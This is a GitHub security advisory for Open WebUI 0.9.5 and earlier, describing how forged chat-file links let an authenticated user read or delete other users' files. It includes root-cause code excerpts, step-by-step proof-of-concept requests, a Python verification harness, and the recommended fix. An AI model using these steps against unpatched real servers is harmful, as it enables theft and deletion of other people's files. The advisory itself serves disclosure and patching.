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Open WebUI: Forged chat-file link allows cross-user file read and deletion

High severity GitHub Reviewed Published Jun 11, 2026 in open-webui/open-webui

Package

pip open-webui (pip)

Affected versions

<= 0.9.5

Patched versions

0.9.6

Description

Summary

Open WebUI v0.9.5 lets an authenticated user attach arbitrary file_id values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, has_access_to_file() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker who knows or obtains a victim file_id can make Open WebUI authorize, through an attacker-owned shared chat:

  • reading the victim file via GET /api/v1/files/{id}/content, and
  • deleting the victim file via DELETE /api/v1/files/{id}.

Root Cause

Client-controlled message file IDs are persisted without file authorization checks:

# backend/open_webui/main.py
await Chats.insert_chat_files(
    chat_id,
    user_message.get('id'),
    [
        file_item.get('id')
        for file_item in user_message_files
        if file_item.get('type') == 'file'
    ],
    user.id,
)

insert_chat_files() stores the provided IDs directly:

# backend/open_webui/models/chats.py
ChatFileModel(
    user_id=user_id,
    chat_id=chat_id,
    message_id=message_id,
    file_id=file_id,
)

Later, file authorization trusts shared-chat associations:

# backend/open_webui/utils/access_control/files.py
shared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)
if shared_chat_ids:
    accessible_ids = await AccessGrants.get_accessible_resource_ids(
        user_id=user.id,
        resource_type='shared_chat',
        resource_ids=shared_chat_ids,
        permission='read',
    )
    if accessible_ids:
        return True

The download endpoint uses this helper:

# backend/open_webui/routers/files.py
if file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db):
    return FileResponse(file_path, ...)

On affected versions this shared-chat branch is not gated on access_type (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.

Because the shared-chat branch ignores access_type, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim file_id; a legitimate read-only share reaches it without any forgery.

PoC

  1. Attacker creates or uses a chat they own.
  2. Attacker sends POST /api/chat/completions or POST /api/v1/chat/completions where top-level user_message.files contains:
[
  {
    "type": "file",
    "id": "VICTIM_FILE_ID"
  }
]
  1. Backend inserts a chat_file row linking the attacker chat to VICTIM_FILE_ID.
  2. Attacker shares the chat and grants read access to themselves or public access.
  3. Attacker requests:
GET /api/v1/files/VICTIM_FILE_ID/content

Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.

Actual: file authorization succeeds through the attacker-controlled shared-chat association.

Local Verification

I verified the bug locally with Open WebUI's real Chats.insert_chat_files() and real has_access_to_file() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.

Result:

{
  "before_chat_file_link_attacker_can_read": false,
  "insert_sink": {
    "db_commit_called": true,
    "insert_returned_rows": true,
    "stored_chat_ids": [
      "attacker-chat"
    ],
    "stored_file_ids": [
      "victim-file"
    ],
    "stored_user_ids": [
      "attacker"
    ]
  },
  "after_attacker_shared_chat_links_victim_file_attacker_can_read": true,
  "confirmed": true
}

PoC:

#!/usr/bin/env python3
"""
Verifier for chat-file link authorization bypass.

This intentionally avoids the app DB because the local Python 3.13 async SQLite
stack hangs in this checkout. It still executes Open WebUI's real
has_access_to_file() implementation, with fake model adapters standing in for
the DB tables.
"""

from __future__ import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare_imports() -> None:
    repo_root = Path(__file__).resolve().parents[1]
    sys.path.insert(0, str(repo_root / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeFiles:
    async def get_file_by_id(self, file_id, db=None):
        if file_id == "victim-file":
            return SimpleNamespace(
                id="victim-file",
                user_id="victim",
                meta={},
            )
        return None


class FakeKnowledges:
    async def get_knowledges_by_file_id(self, file_id, db=None):
        return []


class FakeGroups:
    async def get_groups_by_member_id(self, user_id, db=None):
        return []


class FakeChannels:
    async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):
        return []


class FakeModels:
    async def get_models_by_user_id(self, user_id, permission="read", db=None):
        return []


class FakeChats:
    def __init__(self, linked: bool):
        self.linked = linked

    async def get_shared_chat_ids_by_file_id(self, file_id, db=None):
        if self.linked and file_id == "victim-file":
            # This mirrors a chat_file row tying victim-file to the attacker's
            # shared chat. The real insertion sink is Chats.insert_chat_files().
            return ["attacker-chat"]
        return []


class FakeAccessGrants:
    def __init__(self, granted: bool):
        self.granted = granted

    async def has_access(self, *args, **kwargs):
        return False

    async def get_accessible_resource_ids(
        self,
        user_id,
        resource_type,
        resource_ids,
        permission="read",
        user_group_ids=None,
        db=None,
    ):
        if (
            self.granted
            and user_id == "attacker"
            and resource_type == "shared_chat"
            and "attacker-chat" in resource_ids
            and permission == "read"
        ):
            return {"attacker-chat"}
        return set()


class FakeDb:
    def __init__(self):
        self.added = []
        self.committed = False

    def add_all(self, rows):
        self.added.extend(rows)

    async def commit(self):
        self.committed = True


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def verify_insert_sink_accepts_victim_file_id():
    import open_webui.models.chats as chats_module

    fake_db = FakeDb()
    chats_table = chats_module.Chats

    original_context = chats_module.get_async_db_context
    original_existing = chats_table.get_chat_files_by_chat_id_and_message_id

    async def fake_existing(self, chat_id, message_id, db=None):
        return []

    try:
        chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)

        inserted = await chats_table.insert_chat_files(
            chat_id="attacker-chat",
            message_id="attacker-message",
            file_ids=["victim-file"],
            user_id="attacker",
        )
    finally:
        chats_module.get_async_db_context = original_context
        chats_table.get_chat_files_by_chat_id_and_message_id = original_existing

    return {
        "insert_returned_rows": bool(inserted),
        "db_commit_called": fake_db.committed,
        "stored_file_ids": [getattr(row, "file_id", None) for row in fake_db.added],
        "stored_chat_ids": [getattr(row, "chat_id", None) for row in fake_db.added],
        "stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
    }


async def main() -> None:
    prepare_imports()

    import open_webui.utils.access_control.files as file_acl

    attacker = SimpleNamespace(id="attacker", role="user")

    original = {
        "Files": file_acl.Files,
        "Knowledges": file_acl.Knowledges,
        "Groups": file_acl.Groups,
        "Channels": file_acl.Channels,
        "Chats": file_acl.Chats,
        "Models": file_acl.Models,
        "AccessGrants": file_acl.AccessGrants,
    }

    try:
        file_acl.Files = FakeFiles()
        file_acl.Knowledges = FakeKnowledges()
        file_acl.Groups = FakeGroups()
        file_acl.Channels = FakeChannels()
        file_acl.Models = FakeModels()

        file_acl.Chats = FakeChats(linked=False)
        file_acl.AccessGrants = FakeAccessGrants(granted=False)
        before = await file_acl.has_access_to_file("victim-file", "read", attacker)

        file_acl.Chats = FakeChats(linked=True)
        file_acl.AccessGrants = FakeAccessGrants(granted=True)
        after = await file_acl.has_access_to_file("victim-file", "read", attacker)

        insert_sink = await verify_insert_sink_accepts_victim_file_id()

        result = {
            "victim_file_id": "victim-file",
            "victim_file_owner": "victim",
            "attacker_id": "attacker",
            "attacker_owns_file": False,
            "insert_sink": insert_sink,
            "before_chat_file_link_attacker_can_read": before,
            "after_attacker_shared_chat_links_victim_file_attacker_can_read": after,
            "confirmed": (
                before is False
                and after is True
                and insert_sink["insert_returned_rows"] is True
                and insert_sink["stored_file_ids"] == ["victim-file"]
                and insert_sink["stored_user_ids"] == ["attacker"]
            ),
            "sink": "Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access",
        }
        print(json.dumps(result, indent=2, sort_keys=True))
    finally:
        for name, value in original.items():
            setattr(file_acl, name, value)


if __name__ == "__main__":
    asyncio.run(main())

Recommended Fix

Before calling Chats.insert_chat_files(), filter user_message.files to files the caller owns or can read:

allowed_file_ids = []
for file_id in requested_file_ids:
    file = await Files.get_file_by_id(file_id)
    if file and (file.user_id == user.id or user.role == 'admin' or await has_access_to_file(file_id, 'read', user)):
        allowed_file_ids.append(file_id)

Also consider enforcing this inside Chats.insert_chat_files() so future call sites cannot create unauthorized chat_file associations.

Additionally, the shared-chat branch of has_access_to_file() should honour access_type, so a read grant cannot satisfy the write check used by file deletion.

Consolidation

Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:

  • Cross-user file READ via a forged chat_file association (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gates Chats.insert_chat_files() so a caller can only link files they own or can read.
  • Cross-user file DELETION via the shared-chat branch ignoring access_type (DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour access_type.

Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.

References

@doge-woof doge-woof published to open-webui/open-webui Jun 11, 2026
Published to the GitHub Advisory Database Jun 17, 2026
Reviewed Jun 17, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-54010

GHSA ID

GHSA-vrhc-3fr6-pc3c

Source code

Credits

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